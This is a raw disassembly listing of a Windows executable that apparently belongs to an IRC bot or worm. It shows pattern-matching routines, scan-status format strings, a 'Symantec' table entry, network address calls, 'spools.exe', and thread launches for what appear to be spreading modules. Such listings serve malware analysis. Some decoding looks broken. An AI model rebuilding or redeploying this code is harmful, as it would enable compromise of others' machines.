; =============== S U B	R O U T	I N E =======================================



sub_40B32A	proc near		; CODE XREF: sub_4018A1+159p
					; .nsp0:0040B957p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_444134[eax], ecx
		mov	dword_444120[eax], ecx
		mov	dword_444124[eax], ecx
		mov	dword_444128[eax], ecx
		mov	dword_44412C[eax], ecx
		mov	dword_444130[eax], ecx
		mov	byte ptr dword_443F20[eax], cl
		mov	byte_444138[eax], cl
		retn
sub_40B32A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B367	proc near		; CODE XREF: .nsp0:00409875p
					; sub_40B495+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B371:				; CODE XREF: sub_40B367+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B3D1
		cmp	eax, 1
		jnz	short loc_40B3D1
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B3D1
		cmp	cl, 2Ah
		jz	short loc_40B3B8
		cmp	cl, 3Fh
		jz	short loc_40B39B
		cmp	cl, 5Bh
		jz	short loc_40B3A0
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B39B:				; CODE XREF: sub_40B367+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B3CB
; ---------------------------------------------------------------------------


loc_40B3A0:				; CODE XREF: sub_40B367+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B3FD
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B3CB
; ---------------------------------------------------------------------------


loc_40B3B8:				; CODE XREF: sub_40B367+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B495
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B3CB:				; CODE XREF: sub_40B367+37j
					; sub_40B367+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B371
; ---------------------------------------------------------------------------


loc_40B3D1:				; CODE XREF: sub_40B367+Ej
					; sub_40B367+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B3E1
		cmp	eax, 1
		jnz	short loc_40B3F8
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B3D1
; ---------------------------------------------------------------------------


loc_40B3E1:				; CODE XREF: sub_40B367+6Dj
		cmp	eax, 1
		jnz	short loc_40B3F8
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B3F8
		cmp	byte ptr [esi],	0
		jnz	short loc_40B3F8
		push	1
		pop	eax
		jmp	short loc_40B3FA
; ---------------------------------------------------------------------------


loc_40B3F8:				; CODE XREF: sub_40B367+72j
					; sub_40B367+7Dj ...
		xor	eax, eax


loc_40B3FA:				; CODE XREF: sub_40B367+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B367	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3FD	proc near		; CODE XREF: sub_40B367+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B41E
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B41E:				; CODE XREF: sub_40B3FD+19j
		push	ebx
		push	esi


loc_40B420:				; CODE XREF: sub_40B3FD+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B42E
		cmp	[ebp+var_4], eax
		jnz	short loc_40B47A


loc_40B42E:				; CODE XREF: sub_40B3FD+2Aj
		test	edi, edi
		jnz	short loc_40B46F
		cmp	bl, 2Dh
		jnz	short loc_40B463
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B463
		cmp	al, 5Dh
		jz	short loc_40B463
		cmp	[ebp+var_4], edi
		jnz	short loc_40B463
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B46F
		cmp	bl, al
		jg	short loc_40B46F
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B46F
; ---------------------------------------------------------------------------


loc_40B463:				; CODE XREF: sub_40B3FD+38j
					; sub_40B3FD+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B46F
		push	1
		pop	edi


loc_40B46F:				; CODE XREF: sub_40B3FD+33j
					; sub_40B3FD+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B420
; ---------------------------------------------------------------------------


loc_40B47A:				; CODE XREF: sub_40B3FD+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B487
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B487:				; CODE XREF: sub_40B3FD+82j
		cmp	edi, eax
		jnz	short loc_40B490
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B490:				; CODE XREF: sub_40B3FD+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B3FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B495	proc near		; CODE XREF: sub_40B367+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B4B1:				; CODE XREF: sub_40B495+3Aj
		cmp	[eax], bl
		jz	short loc_40B4D1
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B4C6
		cmp	cl, 2Ah
		jnz	short loc_40B4D1
		cmp	cl, 3Fh
		jnz	short loc_40B4C9


loc_40B4C6:				; CODE XREF: sub_40B495+25j
		inc	eax
		mov	[edi], eax


loc_40B4C9:				; CODE XREF: sub_40B495+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B4B1
; ---------------------------------------------------------------------------


loc_40B4D1:				; CODE XREF: sub_40B495+1Ej
					; sub_40B495+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B4DC
		inc	dword ptr [esi]
		jmp	short loc_40B4D1
; ---------------------------------------------------------------------------


loc_40B4DC:				; CODE XREF: sub_40B495+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B4FD
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B4EE
		xor	eax, eax
		jmp	short loc_40B55D
; ---------------------------------------------------------------------------


loc_40B4EE:				; CODE XREF: sub_40B495+53j
		cmp	cl, bl
		jnz	short loc_40B4FD
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B4FD
		push	1
		pop	eax
		jmp	short loc_40B55D
; ---------------------------------------------------------------------------


loc_40B4FD:				; CODE XREF: sub_40B495+4Dj
					; sub_40B495+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B367
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B547


loc_40B50B:				; CODE XREF: sub_40B495+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B50F:				; CODE XREF: sub_40B495+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B527
		cmp	cl, 5Bh
		jz	short loc_40B527
		cmp	dl, bl
		jz	short loc_40B527
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B50F
; ---------------------------------------------------------------------------


loc_40B527:				; CODE XREF: sub_40B495+82j
					; sub_40B495+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B53E
		push	eax
		push	dword ptr [esi]
		call	sub_40B367
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B543
; ---------------------------------------------------------------------------


loc_40B53E:				; CODE XREF: sub_40B495+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B543:				; CODE XREF: sub_40B495+A7j
		cmp	eax, ebx
		jnz	short loc_40B50B


loc_40B547:				; CODE XREF: sub_40B495+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B55A
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B55A
		mov	[ebp+var_4], 1


loc_40B55A:				; CODE XREF: sub_40B495+B6j
					; sub_40B495+BCj
		mov	eax, [ebp+var_4]


loc_40B55D:				; CODE XREF: sub_40B495+57j
					; sub_40B495+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B495	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B562	proc near		; CODE XREF: .nsp0:004045ECp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_438524
		push	eax
		xor	ebx, ebx
		call	sub_41BF36
		cmp	dword_438048, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B5D4
		push	esi
		mov	esi, offset dword_438050


loc_40B595:				; CODE XREF: sub_40B562+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B5CA
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_438518
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C880
		add	esp, 1Ch


loc_40B5CA:				; CODE XREF: sub_40B562+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B595
		pop	esi


loc_40B5D4:				; CODE XREF: sub_40B562+2Bj
		push	dword_4D0F24
		call	sub_41B12D
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C880
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B562	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B630	proc near		; CODE XREF: .nsp0:004045D6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D3D00
		mov	ecx, dword_4D3CFC
		push	esi
		push	dword_4D0F24
		lea	esi, [ecx+eax]
		call	sub_41B12D
		push	eax
		push	esi
		push	dword_4D3D00
		lea	eax, [ebp+var_200]
		push	dword_4D3CFC
		push	offset unk_438544
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B69B	proc near		; CODE XREF: .nsp0:004045C0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4D0F24
		call	sub_41B12D
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4D3F44
		push	offset unk_43858C
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 2Ch
		leave
		retn
sub_40B69B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6EF	proc near		; CODE XREF: .nsp0:004045AAp

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C1D0
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_4385D8
		push	eax
		call	sub_41BF36
		cmp	dword_438048, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B75B
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B724:				; CODE XREF: sub_40B6EF+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_4385C8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C880
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B724
		pop	esi


loc_40B75B:				; CODE XREF: sub_40B6EF+2Dj
		push	dword_4D0F24
		call	sub_41B12D
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C880
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4157A6
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40B6EF	endp

; ---------------------------------------------------------------------------
byte_40B7B5	db 55h,	8Bh, 0ECh	; DATA XREF: .nsp0:00404BF0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4D1230	; inet_addr
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_438048, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40B913
		mov	ebx, offset dword_438048
		mov	eax, ebx


loc_40B806:				; CODE XREF: .nsp0:0040B90Dj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40BF97
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B903
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_438628
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_4099D2
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4157A6
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-15Ch]
		push	esi
		push	eax
		call	sub_41BF36
		add	esp, 3Ch
		cmp	byte ptr [ebp-0A4h], 0
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B89E
		lea	eax, [ebp-124h]


loc_40B89E:				; CODE XREF: .nsp0:0040B896j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41BF36
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B903:				; CODE XREF: .nsp0:0040B819j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B806


loc_40B913:				; CODE XREF: .nsp0:0040B7F9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4385F4
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_4099D2
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-18h]
		call	sub_40B32A
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 73469BE8h
		db 0, 20h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B966	proc near		; CODE XREF: .nsp0:00403F16p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_40B9A2
		mov	eax, [ebp+arg_C]
		push	dword_4D1340[eax*8]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_438678
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_40B9B5
; ---------------------------------------------------------------------------


loc_40B9A2:				; CODE XREF: sub_40B966+13j
		lea	eax, [ebp+var_200]
		push	offset unk_438658
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_40B9B5:				; CODE XREF: sub_40B966+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 18h
		leave
		retn
sub_40B966	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc far		; CODE XREF: .nsp0:0040C297p

var_204		= byte ptr -204h
var_1F0		= dword	ptr -1F0h
var_4		= byte ptr -4
arg_C		= byte ptr  18h
arg_8C		= byte ptr  98h
arg_10C		= dword	ptr  118h
arg_12C		= dword	ptr  138h
arg_134		= dword	ptr  140h
arg_138		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_12C]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BEAF
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_438054[eax], ebx
		jz	loc_40BEAF
		push	5
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_40BC64
		mov	eax, dword_429080
		push	edi
		mov	esi, offset dword_4D33FC
		push	104h
		push	esi
		push	ebx
		mov	dword_4D360C, eax
		mov	dword_4D3608, ebx
		call	near ptr 0B40000h
		retf
; ---------------------------------------------------------------------------
		mov	edi, offset aSpools_exe	; "spools.exe"
		push	103h
		push	edi
		push	offset dword_4D3500
		call	sub_41BCA0
		mov	eax, [ebp+arg_10C]
		add	esp, 0Ch
		cmp	[ebp+arg_8C], bl
		mov	dword_4D33F8, eax
		mov	eax, [ebp+arg_134]
		push	7Fh
		mov	dword_4D3690, eax
		jnz	short loc_40BA90
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D3610
		call	sub_41BCA0
		add	esp, 0Ch
		mov	dword_4D3694, 1
		jmp	short loc_40BAAA
; ---------------------------------------------------------------------------


loc_40BA90:				; CODE XREF: sub_40B9DD+94j
		lea	eax, [ebp+arg_8C]
		push	eax
		push	offset dword_4D3610
		call	sub_41BCA0
		add	esp, 0Ch
		mov	dword_4D3694, ebx


loc_40BAAA:				; CODE XREF: sub_40B9DD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D360C
		push	offset unk_432B28
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	dword_4D3604, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D33F8
		push	offset dword_411D98
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4D3604
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40BB18


loc_40BB06:				; CODE XREF: sub_40B9DD+139j
		cmp	dword_4D3698, ebx
		jnz	short loc_40BB33
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_40BB06
; ---------------------------------------------------------------------------


loc_40BB18:				; CODE XREF: sub_40B9DD+127j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_438798
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BB33:				; CODE XREF: sub_40B9DD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		mov	eax, dword_4D0F20
		mov	esi, offset dword_4D36A4
		mov	[esp+1F0h+var_1F0], 104h
		push	esi
		push	ebx
		mov	dword_4D38B4, eax
		mov	dword_4D38B0, ebx
		call	near ptr 0B40000h
		wait
		push	103h
		push	edi
		push	offset dword_4D37A8
		call	sub_41BCA0
		mov	eax, [ebp+arg_10C]
		add	esp, 0Ch
		cmp	[ebp+arg_8C], bl
		mov	dword_4D36A0, eax
		mov	eax, [ebp+arg_134]
		pop	edi
		mov	dword_4D3938, eax
		push	7Fh
		jnz	short loc_40BBB4
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D38B8
		call	sub_41BCA0
		add	esp, 0Ch
		mov	dword_4D393C, 1
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------


loc_40BBB4:				; CODE XREF: sub_40B9DD+1B8j
		lea	eax, [ebp+arg_8C]
		push	eax
		push	offset dword_4D38B8
		call	sub_41BCA0
		add	esp, 0Ch
		mov	dword_4D393C, ebx


loc_40BBCE:				; CODE XREF: sub_40B9DD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D38B4
		push	offset unk_438764
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	dword_4D38AC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D36A0
		push	offset sub_40F168
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4D38AC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40BC3C


loc_40BC2A:				; CODE XREF: sub_40B9DD+25Dj
		cmp	dword_4D3940, ebx
		jnz	short loc_40BC57
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_40BC2A
; ---------------------------------------------------------------------------


loc_40BC3C:				; CODE XREF: sub_40B9DD+24Bj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_438730
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BC57:				; CODE XREF: sub_40B9DD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40BC64:				; CODE XREF: sub_40B9DD+35j
		mov	eax, [ebp+arg_12C]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43805C[ecx], ebx
		jz	loc_40BD8D
		push	7
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_40BD87
		mov	eax, dword_4D3F3C
		cmp	[ebp+arg_8C], bl
		mov	dword_4D3364, eax
		mov	eax, [ebp+arg_10C]
		mov	dword_4D3358, eax
		mov	eax, [ebp+arg_134]
		mov	dword_4D3360, ebx
		mov	dword_4D33E8, eax
		push	7Fh
		jnz	short loc_40BCD8
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D3368
		call	sub_41BCA0
		add	esp, 0Ch
		mov	dword_4D33EC, 1
		jmp	short loc_40BCF2
; ---------------------------------------------------------------------------


loc_40BCD8:				; CODE XREF: sub_40B9DD+2DCj
		lea	eax, [ebp+arg_8C]
		push	eax
		push	offset dword_4D3368
		call	sub_41BCA0
		add	esp, 0Ch
		mov	dword_4D33EC, ebx


loc_40BCF2:				; CODE XREF: sub_40B9DD+2F9j
		push	dword_4D3364
		lea	eax, [ebp+var_204]
		push	offset unk_438700
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B00E
		add	esp, 18h
		mov	dword_4D335C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D3358
		push	offset word_40EEC6
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4D335C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40BD5F


loc_40BD4D:				; CODE XREF: sub_40B9DD+380j
		cmp	dword_4D33F0, ebx
		jnz	short loc_40BD7A
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_40BD4D
; ---------------------------------------------------------------------------


loc_40BD5F:				; CODE XREF: sub_40B9DD+36Ej
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4386C8
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BD7A:				; CODE XREF: sub_40B9DD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40BD87:				; CODE XREF: sub_40B9DD+2A8j
		mov	eax, [ebp+arg_12C]


loc_40BD8D:				; CODE XREF: sub_40B9DD+298j
		shl	eax, 6
		cmp	dword_438058[eax], ebx
		jz	loc_40BEAF
		push	3
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_40BEAF
		mov	esi, offset dword_4D3BD4
		push	104h
		push	esi
		push	ebx
		call	near ptr 0B40000h
		inc	eax
		push	5Ch
		push	esi
		call	sub_41C4E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BDCE
		mov	[eax], bl


loc_40BDCE:				; CODE XREF: sub_40B9DD+3EDj
		mov	eax, dword_4D108C
		mov	dword_4D3CEC, ebx
		mov	dword_4D3CD8, eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D394C
		call	sub_41BF36
		mov	eax, [ebp+arg_10C]
		pop	ecx
		pop	ecx
		mov	dword_4D3948, eax
		mov	ecx, [ebp+arg_134]
		push	esi
		push	dword_4D3CD8
		mov	dword_4D3CE4, ecx
		mov	ecx, [ebp+arg_138]
		push	eax
		mov	dword_4D3CE8, ecx
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432AB0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	dword_4D3CE0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D3948
		push	offset sub_40F891
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4D3CE0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40BE87


loc_40BE75:				; CODE XREF: sub_40B9DD+4A8j
		cmp	dword_4D3CF4, ebx
		jnz	short loc_40BEA2
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_40BE75
; ---------------------------------------------------------------------------


loc_40BE87:				; CODE XREF: sub_40B9DD+496j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_438694
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BEA2:				; CODE XREF: sub_40B9DD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40BEAF:				; CODE XREF: sub_40B9DD+14j
					; sub_40B9DD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

